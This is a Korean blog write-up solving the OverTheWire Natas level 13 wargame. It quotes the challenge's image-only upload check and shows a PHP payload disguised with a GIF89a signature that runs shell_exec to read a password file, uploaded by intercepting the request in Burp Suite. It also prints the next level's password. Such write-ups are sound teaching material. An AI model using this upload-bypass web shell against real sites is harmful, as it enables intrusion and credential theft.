OverTheWire: Natas level13
OverTheWire 문제풀이 - Natas
* Bandit는 웹 보안 관련 문제입니다.
* 개인적인 문제풀이로 해답을 보시기 전에 직접 풀어보시기를 권해드립니다.
* 반드시 연습용으로 제공된 환경에서만 작업하시기 바랍니다. 악용으로 일어난 사태는 절대로 책임지지 않습니다.
Natas level13
Natas13에 접속하면 다음과 같은 화면을 볼 수 있다.
'보안상의 이유로 이미지 파일 만 허용합니다!' 라고 하는데 전보다 보안이 한층 강화된 것 같다. 소스보기로 어떻게 방어하고 있는지 살펴보자.
[View sourcecode]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <? /* 코드 중략 */ if(array_key_exists("filename", $_POST)) { $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]); if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) { echo "File is too big"; } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image"; } else { if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded"; } else{ echo "There was an error uploading the file, please try again!"; } } } /* 코드 중략 */ ?> |
확장자가 조작된 파일을 예방하기 위한 것이 바로 파일 시그니처인데 시그니처란 파일 고유의 포맷으로 특정 byte로 이루어져 있는 매직넘버다. 이러한 시그니처는 별도의 프로그램 없이는 일반 사람들이 쉽게 조작할 수 없기 때문에 파일 분석에 요긴하게 쓰인다. 이 문제는 시그니처를 알고 있는가에 대해 물어보는 문제인듯 하다. 시그니처를 아직 모르는 사람들을 위해 어제 포스팅 해놓은 링크를 올려놓겠다.
[File Signature Collection] 파일 시그니처 모음
[문제 풀이]
natas12번 문제를 풀 때 사용한 코드는 다음과 같다.
1 2 3 4 | <?php $output = shell_exec('cat /etc/natas_webpass/natas13'); echo "$output"; ?> | cs |
이 코드를 txt 파일로 저장한 후 버프 슈트를 이용해 확장자를 php 로 조작해 통과시키는 방법이었는데, 이 코드에 출력할 natas레벨을 14로 바꾸고 이미지 시그니처만 추가하면 된다. txt 파일은 별다른 시그니처가 없으므로 따로 시그니처 조작 프로그램을 이용하지 않아도 된다. 이 코드에 GIF 이미지 시그니처를 추가해 보면 다음과 같다.
1 2 3 4 | GIF89a<?php $output = shell_exec('cat /etc/natas_webpass/natas14'); echo "$output"; ?> | cs |
이 코드를 저장 후 저번처럼 프록시 설정 후 패킷을 가로채 파일 형식을 php로 바꾸어 보내면 된다.
[그림1 패킷 조작]
[그림2 php 파일 업로드 성공]
[그림3 php 함수가 실행된 화면]
미리 넣어둔 GIF 파일 시그니처를 뺀 나머지가 natas14 패스워드가 되겠다.
next level password : Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1
'War Game > natas' 카테고리의 다른 글
OverTheWire: Natas level15 (1) | 2017.07.21 |
---|---|
OverTheWire: Natas level14 (0) | 2017.07.20 |
OverTheWire: Natas level12 (0) | 2017.07.14 |
OverTheWire: Natas level11 (0) | 2017.07.12 |
OverTheWire: Natas level10 (0) | 2017.07.12 |